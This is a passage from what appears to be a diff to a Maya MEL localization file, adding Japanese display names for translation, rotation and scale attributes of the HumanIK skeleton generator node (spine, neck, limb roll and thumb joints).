"脊椎 8 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine8Sx", "脊椎 8 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine8Sy", "脊椎 8 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine8Sz", "脊椎 8 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine9T", "脊椎 9 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine9Tx", "脊椎 9 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine9Ty", "脊椎 9 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine9Tz", "脊椎 9 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine9R", "脊椎 9 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine9Rx", "脊椎 9 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine9Ry", "脊椎 9 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine9Rz", "脊椎 9 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine9S", "脊椎 9 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine9Sx", "脊椎 9 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine9Sy", "脊椎 9 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Spine9Sz", "脊椎 9 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck1T", "首 1 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck1Tx", "首 1 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck1Ty", "首 1 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck1Tz", "首 1 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck1R", "首 1 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck1Rx", "首 1 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck1Ry", "首 1 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck1Rz", "首 1 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck1S", "首 1 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck1Sx", "首 1 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck1Sy", "首 1 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck1Sz", "首 1 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck2T", "首 2 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck2Tx", "首 2 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck2Ty", "首 2 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck2Tz", "首 2 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck2R", "首 2 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck2Rx", "首 2 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck2Ry", "首 2 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck2Rz", "首 2 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck2S", "首 2 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck2Sx", "首 2 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck2Sy", "首 2 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck2Sz", "首 2 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck3T", "首 3 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck3Tx", "首 3 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck3Ty", "首 3 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck3Tz", "首 3 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck3R", "首 3 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck3Rx", "首 3 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck3Ry", "首 3 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck3Rz", "首 3 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck3S", "首 3 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck3Sx", "首 3 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck3Sy", "首 3 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck3Sz", "首 3 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck4T", "首 4 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck4Tx", "首 4 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck4Ty", "首 4 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck4Tz", "首 4 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck4R", "首 4 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck4Rx", "首 4 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck4Ry", "首 4 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck4Rz", "首 4 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck4S", "首 4 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck4Sx", "首 4 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck4Sy", "首 4 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck4Sz", "首 4 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck5T", "首 5 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck5Tx", "首 5 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck5Ty", "首 5 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck5Tz", "首 5 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck5R", "首 5 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck5Rx", "首 5 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck5Ry", "首 5 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck5Rz", "首 5 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck5S", "首 5 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck5Sx", "首 5 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck5Sy", "首 5 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck5Sz", "首 5 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck6T", "首 6 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck6Tx", "首 6 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck6Ty", "首 6 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck6Tz", "首 6 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck6R", "首 6 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck6Rx", "首 6 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck6Ry", "首 6 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck6Rz", "首 6 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck6S", "首 6 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck6Sx", "首 6 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck6Sy", "首 6 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck6Sz", "首 6 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck7T", "首 7 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck7Tx", "首 7 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck7Ty", "首 7 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck7Tz", "首 7 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck7R", "首 7 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck7Rx", "首 7 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck7Ry", "首 7 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck7Rz", "首 7 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck7S", "首 7 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck7Sx", "首 7 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck7Sy", "首 7 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck7Sz", "首 7 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck8T", "首 8 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck8Tx", "首 8 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck8Ty", "首 8 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck8Tz", "首 8 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck8R", "首 8 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck8Rx", "首 8 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck8Ry", "首 8 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck8Rz", "首 8 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck8S", "首 8 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck8Sx", "首 8 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck8Sy", "首 8 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck8Sz", "首 8 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck9T", "首 9 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck9Tx", "首 9 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck9Ty", "首 9 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck9Tz", "首 9 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck9R", "首 9 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck9Rx", "首 9 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck9Ry", "首 9 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck9Rz", "首 9 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck9S", "首 9 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck9Sx", "首 9 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck9Sy", "首 9 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "Neck9Sz", "首 9 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftUpLegRollT", "左大腿部ロール T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftUpLegRollTx", "左大腿部ロール Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftUpLegRollTy", "左大腿部ロール Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftUpLegRollTz", "左大腿部ロール Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftUpLegRollR", "左大腿部ロール R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftUpLegRollRx", "左大腿部ロール Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftUpLegRollRy", "左大腿部ロール Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftUpLegRollRz", "左大腿部ロール Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftUpLegRollS", "左大腿部ロール S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftUpLegRollSx", "左大腿部ロール Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftUpLegRollSy", "左大腿部ロール Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftUpLegRollSz", "左大腿部ロール Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftLegRollT", "左脚ロール T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftLegRollTx", "左脚ロール Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftLegRollTy", "左脚ロール Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftLegRollTz", "左脚ロール Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftLegRollR", "左脚ロール R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftLegRollRx", "左脚ロール Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftLegRollRy", "左脚ロール Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftLegRollRz", "左脚ロール Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftLegRollS", "左脚ロール S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftLegRollSx", "左脚ロール Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftLegRollSy", "左脚ロール Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftLegRollSz", "左脚ロール Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightUpLegRollT", "右大腿部ロール T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightUpLegRollTx", "右大腿部ロール Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightUpLegRollTy", "右大腿部ロール Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightUpLegRollTz", "右大腿部ロール Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightUpLegRollR", "右大腿部ロール R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightUpLegRollRx", "右大腿部ロール Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightUpLegRollRy", "右大腿部ロール Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightUpLegRollRz", "右大腿部ロール Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightUpLegRollS", "右大腿部ロール S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightUpLegRollSx", "右大腿部ロール Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightUpLegRollSy", "右大腿部ロール Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightUpLegRollSz", "右大腿部ロール Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightLegRollT", "右脚ロール T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightLegRollTx", "右脚ロール Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightLegRollTy", "右脚ロール Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightLegRollTz", "右脚ロール Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightLegRollR", "右脚ロール R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightLegRollRx", "右脚ロール Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightLegRollRy", "右脚ロール Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightLegRollRz", "右脚ロール Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightLegRollS", "右脚ロール S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightLegRollSx", "右脚ロール Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightLegRollSy", "右脚ロール Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightLegRollSz", "右脚ロール Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftArmRollT", "左腕のロール T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftArmRollTx", "左腕のロール Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftArmRollTy", "左腕のロール Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftArmRollTz", "左腕のロール Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftArmRollR", "左腕のロール R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftArmRollRx", "左腕のロール Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftArmRollRy", "左腕のロール Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftArmRollRz", "左腕のロール Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftArmRollS", "左腕のロール S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftArmRollSx", "左腕のロール Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftArmRollSy", "左腕のロール Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftArmRollSz", "左腕のロール Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftForeArmRollT", "左前腕のロール T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftForeArmRollTx", "左前腕のロール Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftForeArmRollTy", "左前腕のロール Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftForeArmRollTz", "左前腕のロール Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftForeArmRollR", "左前腕のロール R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftForeArmRollRx", "左前腕のロール Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftForeArmRollRy", "左前腕のロール Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftForeArmRollRz", "左前腕のロール Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftForeArmRollS", "左前腕のロール S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftForeArmRollSx", "左前腕のロール Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftForeArmRollSy", "左前腕のロール Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftForeArmRollSz", "左前腕のロール Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightArmRollT", "右腕のロール T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightArmRollTx", "右腕のロール Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightArmRollTy", "右腕のロール Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightArmRollTz", "右腕のロール Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightArmRollR", "右腕のロール R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightArmRollRx", "右腕のロール Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightArmRollRy", "右腕のロール Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightArmRollRz", "右腕のロール Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightArmRollS", "右腕のロール S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightArmRollSx", "右腕のロール Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightArmRollSy", "右腕のロール Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightArmRollSz", "右腕のロール Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightForeArmRollT", "右前腕のロール T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightForeArmRollTx", "右前腕のロール Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightForeArmRollTy", "右前腕のロール Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightForeArmRollTz", "右前腕のロール Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightForeArmRollR", "右前腕のロール R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightForeArmRollRx", "右前腕のロール Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightForeArmRollRy", "右前腕のロール Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightForeArmRollRz", "右前腕のロール Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightForeArmRollS", "右前腕のロール S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightForeArmRollSx", "右前腕のロール Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightForeArmRollSy", "右前腕のロール Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightForeArmRollSz", "右前腕のロール Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "HipsTranslationT", "ヒップの移動 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "HipsTranslationTx", "ヒップの移動 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "HipsTranslationTy", "ヒップの移動 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "HipsTranslationTz", "ヒップの移動 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "HipsTranslationR", "ヒップの移動 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "HipsTranslationRx", "ヒップの移動 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "HipsTranslationRy", "ヒップの移動 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "HipsTranslationRz", "ヒップの移動 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "HipsTranslationS", "ヒップの移動 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "HipsTranslationSx", "ヒップの移動 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "HipsTranslationSy", "ヒップの移動 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "HipsTranslationSz", "ヒップの移動 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandThumb1T", "左手親指 1 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandThumb1Tx", "左手親指 1 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandThumb1Ty", "左手親指 1 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandThumb1Tz", "左手親指 1 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandThumb1R", "左手親指 1 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandThumb1Rx", "左手親指 1 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandThumb1Ry", "左手親指 1 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandThumb1Rz", "左手親指 1 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandThumb1S", "左手親指 1 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandThumb1Sx", "左手親指 1 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandThumb1Sy", "左手親指 1 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandThumb1Sz", "左手親指 1 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandThumb2T", "左手親指 2 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandThumb2Tx", "左手親指 2 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandThumb2Ty", "左手親指 2 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandThumb2Tz", "左手親指 2 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandThumb2R", "左手親指 2 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandThumb2Rx", "左手親指 2 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandThumb2Ry", "左手親指 2 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandThumb2Rz", "左手親指 2 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandThumb2S", "左手親指 2 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandThumb2Sx", "左手親指 2 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandThumb2Sy", "左手親指 2 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandThumb2Sz", "左手親指 2 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandThumb3T", "左手親指 3 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandThumb3Tx", "左手親指 3 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandThumb3Ty", "左手親指 3 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandThumb3Tz", "左手親指 3 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandThumb3R", "左手親指 3 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandThumb3Rx", "左手親指 3 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandThumb3Ry", "左手親指 3 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandThumb3Rz", "左手親指 3 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandThumb3S", "左手親指 3 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandThumb3Sx", "左手親指 3 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandThumb3Sy", "左手親指 3 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandThumb3Sz", "左手親指 3 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandThumb4T", "左手親指 4 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandThumb4Tx", "左手親指 4 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandThumb4Ty", "左手親指 4 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandThumb4Tz", "左手親指 4 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandThumb4R", "左手親指 4 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandThumb4Rx", "左手親指 4 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandThumb4Ry", "左手親指 4 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandThumb4Rz", "左手親指 4 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandThumb4S", "左手親指 4 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandThumb4Sx", "左手親指 4 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandThumb4Sy", "左手親指 4 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandThumb4Sz", "左手親指 4 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandIndex1T", "左手人差指 1 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandIndex1Tx", "左手人差指 1 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandIndex1Ty", "左手人差指 1 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandIndex1Tz", "左手人差指 1 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandIndex1R", "左手人差指 